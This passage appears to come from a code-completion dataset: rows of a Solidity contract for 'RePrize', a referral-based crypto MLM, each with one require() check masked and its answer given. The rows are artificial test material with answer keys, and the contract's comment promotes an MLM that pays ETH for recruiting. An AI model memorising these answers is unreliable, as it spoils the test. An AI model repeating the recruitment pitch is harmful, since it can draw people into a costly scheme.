} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| LEVEL_PRICE[msg.value]>0||PRIZE[msg.value]>0,'You have sent incorrect payment amount' | 30,153 | LEVEL_PRICE[msg.value]>0||PRIZE[msg.value]>0 |
null | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
require(!paused);
require(LEVEL_PRICE[msg.value] > 0 || PRIZE[msg.value] > 0, 'You have sent incorrect payment amount');
if(PRIZE[msg.value] > 0){
require(<FILL_ME>)
require(blocked[userList[msg.sender]] != true);
if(msg.value == 0.01 finney){
if(paidRedemption){
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
emit Redemption(userList[msg.sender], PRIZE[msg.value], now);
} else {
emit Redemption(userList[msg.sender], uint(0), now);
}
} else {
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
if(PRIZE_SPECIAL[msg.value] > 0){
PRIZE_SPECIAL[msg.value] = SafeMath.sub(PRIZE_SPECIAL[msg.value], uint(1));
emit PrizeSpecial(userList[msg.sender], PRIZE[msg.value], now);
if(PRIZE_SPECIAL[msg.value] == 1){
PRIZE[msg.value] = 0;
}
} else {
emit PrizePurchased(userList[msg.sender], PRIZE[msg.value], now);
}
}
address(uint160(msg.sender)).transfer(msg.value);
} else if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| users[userList[msg.sender]].isExist | 30,153 | users[userList[msg.sender]].isExist |
null | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
require(!paused);
require(LEVEL_PRICE[msg.value] > 0 || PRIZE[msg.value] > 0, 'You have sent incorrect payment amount');
if(PRIZE[msg.value] > 0){
require(users[userList[msg.sender]].isExist);
require(<FILL_ME>)
if(msg.value == 0.01 finney){
if(paidRedemption){
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
emit Redemption(userList[msg.sender], PRIZE[msg.value], now);
} else {
emit Redemption(userList[msg.sender], uint(0), now);
}
} else {
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
if(PRIZE_SPECIAL[msg.value] > 0){
PRIZE_SPECIAL[msg.value] = SafeMath.sub(PRIZE_SPECIAL[msg.value], uint(1));
emit PrizeSpecial(userList[msg.sender], PRIZE[msg.value], now);
if(PRIZE_SPECIAL[msg.value] == 1){
PRIZE[msg.value] = 0;
}
} else {
emit PrizePurchased(userList[msg.sender], PRIZE[msg.value], now);
}
}
address(uint160(msg.sender)).transfer(msg.value);
} else if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| blocked[userList[msg.sender]]!=true | 30,153 | blocked[userList[msg.sender]]!=true |
'You do not have enough tokens' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
require(!paused);
require(LEVEL_PRICE[msg.value] > 0 || PRIZE[msg.value] > 0, 'You have sent incorrect payment amount');
if(PRIZE[msg.value] > 0){
require(users[userList[msg.sender]].isExist);
require(blocked[userList[msg.sender]] != true);
if(msg.value == 0.01 finney){
if(paidRedemption){
require(<FILL_ME>)
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
emit Redemption(userList[msg.sender], PRIZE[msg.value], now);
} else {
emit Redemption(userList[msg.sender], uint(0), now);
}
} else {
require(users[userList[msg.sender]].tokens >= PRIZE[msg.value], 'You do not have enough tokens');
users[userList[msg.sender]].tokens = SafeMath.sub(users[userList[msg.sender]].tokens, PRIZE[msg.value]);
if(PRIZE_SPECIAL[msg.value] > 0){
PRIZE_SPECIAL[msg.value] = SafeMath.sub(PRIZE_SPECIAL[msg.value], uint(1));
emit PrizeSpecial(userList[msg.sender], PRIZE[msg.value], now);
if(PRIZE_SPECIAL[msg.value] == 1){
PRIZE[msg.value] = 0;
}
} else {
emit PrizePurchased(userList[msg.sender], PRIZE[msg.value], now);
}
}
address(uint160(msg.sender)).transfer(msg.value);
} else if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| users[userList[msg.sender]].tokens>=PRIZE[msg.value],'You do not have enough tokens' | 30,153 | users[userList[msg.sender]].tokens>=PRIZE[msg.value] |
'You are already signed up' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
require(<FILL_ME>)
require(_referrerID > 0 && _referrerID <= currentUserID, 'Incorrect referrer ID');
require(LEVEL_PRICE[msg.value] == 1, 'You have sent incorrect payment amount');
uint _introducerID = _referrerID;
if(_referrerID != 1 && users[_referrerID].referrals.length >= REFERRAL_LIMIT)
{
_referrerID = findFreeReferrer(_referrerID);
}
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
isExist : true,
level: 1,
referrerID : _referrerID,
introducerID : _introducerID,
tokens: 0,
wallet : msg.sender,
referrals : new uint[](0)
});
users[currentUserID] = userStruct;
userList[msg.sender] = currentUserID;
if(TOKENS[1] > 0){
users[_introducerID].tokens = SafeMath.add(users[_introducerID].tokens, TOKENS[1]);
emit TokensEarned(_introducerID, TOKENS[1], uint(1), now);
}
if(TOKENS[msg.value] > 0){
users[currentUserID].tokens = TOKENS[msg.value];
emit TokensEarned(currentUserID, TOKENS[msg.value], uint(4), now);
}
if(_referrerID != 1){
users[_referrerID].referrals.push(currentUserID);
}
stats_level[1] = SafeMath.add(stats_level[1], uint(1));
processPayment(currentUserID, 1);
emit Register(currentUserID, _referrerID, _introducerID, now);
}
function upgradeUser(uint _level) internal {
}
function processPayment(uint _user, uint _level) internal {
}
function findFreeReferrer(uint _user) public view returns(uint) {
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
}
function viewUserLevel(uint _user) public view returns(uint) {
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
}
}
| !users[userList[msg.sender]].isExist,'You are already signed up' | 30,153 | !users[userList[msg.sender]].isExist |
'You have sent incorrect payment amount' | /*
Visit RePrize.io to sign up!
Earn ETH in the most rewarding crypto MLM.
Win prizes each week!
Build your network and earn Ethereum from referrals
Collect guaranteed or weekly prizes: new TV, phones, money.
Tokens are your reward for influencing others and level upgrade.
Exchange them for amazing prizes at any time.
Join our Telegram channel https://t.me/RePrize
▄▓██▓▌▄▓ ▐▓▓▓▓▓▄ ▓▓▓▓▓▓ ▓▓▓▓▓▓▄ █▓▓▓▓▓▄ ▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▌
▓▓ █▓▓ ▐▓▓ ▓▓▌ ▓▓▓ ▓▓▓ ▀▓▓▌ ▓▓▓ ▀▓▓▌ ▓▓▓ ▐▓▓▓ ▓▓▌
▐▓ ▄▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ▓▓▓ ▄▓▓▀ ▓▓▓▓▓
▐▓ ▓▌ ▐▓▓ ▓▓▓ ▓▓▓ ▓▓▓▀▀ ▓▓▓▐▓▓▌ ▓▓▓ ▓▓▓ ▓▓▌
█▓▓▓▓▓▓▀ ▐▓▓ ▓▓▓ ▓▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓
▀▀▀
*/
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
}
function div(uint a, uint b) internal pure returns (uint) {
}
function sub(uint a, uint b) internal pure returns (uint) {
}
function add(uint a, uint b) internal pure returns (uint) {
}
}
contract Ownable {
address owner;
address main_address;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address _owner) public onlyOwner {
}
}
contract RePrize is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _referrer, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _sponsor, uint indexed _user, uint _level, uint _money, uint _time);
event LostI(uint indexed _introducer, uint indexed _user, uint _level, uint _money, uint _time);
event TokensEarned(uint indexed _user, uint _amount, uint indexed _type, uint indexed _time);
event PrizePurchased(uint indexed _user, uint _amount, uint _time);
event PrizeSpecial(uint indexed _user, uint _amount, uint _time);
event Redemption(uint indexed _user, uint _amount, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) public PRIZE;
mapping (uint => uint) public PRIZE_SPECIAL;
mapping (uint => uint) TOKENS;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 4;
struct UserStruct {
bool isExist;
uint level;
uint referrerID;
uint introducerID;
uint tokens;
address wallet;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => bool) public blocked;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint public stats_fees = 0 ether;
bool public paused = false;
bool public paidRedemption = false;
constructor() public {
}
function setMainAddress(address _main_address) public onlyOwner {
}
function setPaused(bool _paused) public onlyOwner {
}
function setPaidRedemption(bool _paid) public onlyOwner {
}
function setBlock(uint _id, bool _block) public onlyOwner {
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizePrice(uint _price, uint _tokens) public onlyOwner {
}
//https://etherconverter.online to Ether
function setPrizeSpecial(uint _price, uint _amount) public onlyOwner {
}
//https://etherconverter.online to Ether
function setFee(uint _price, uint _fee) public onlyOwner {
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
}
function setTokensAmount(uint _type, uint _tokens) public onlyOwner {
}
function setTokens(uint _userID, uint _tokens) public onlyOwner {
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _tokens, uint _referral1, uint _referral2, uint _referral3, uint _referral4, uint _level) public onlyOwner {
}
function () external payable {
}
function registerUser(uint _referrerID) internal {
require(!users[userList[msg.sender]].isExist, 'You are already signed up');
require(_referrerID > 0 && _referrerID <= currentUserID, 'Incorrect referrer ID');
require(<FILL_ME>)
uint _introducerID = _referrerID;
if(_referrerID != 1 && users[_referrerID].referrals.length >= REFERRAL_LIMIT)
{
_referrerID = findFreeReferrer(_referrerID);
}
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
isExist : true,
level: 1,
referrerID : _referrerID,
introducerID : _introducerID,
tokens: 0,
wallet : msg.sender,
referrals : new uint[](0)
});
users[currentUserID] = userStruct;
userList[msg.sender] = currentUserID;
if(TOKENS[1] > 0){
users[_introducerID].tokens = SafeMath.add(users[_introducerID].tokens, TOKENS[1]);
emit TokensEarned(_introducerID, TOKENS[1], uint(1), now);
}
if(TOKENS[msg.value] > 0){
users[currentUserID].tokens = TOKENS[msg.value];
emit TokensEarned(currentUserID, TOKENS[msg.value], uint(4), now);
}
if(_referrerID != 1){
users[_referrerID].referrals.push(currentUserID);
}
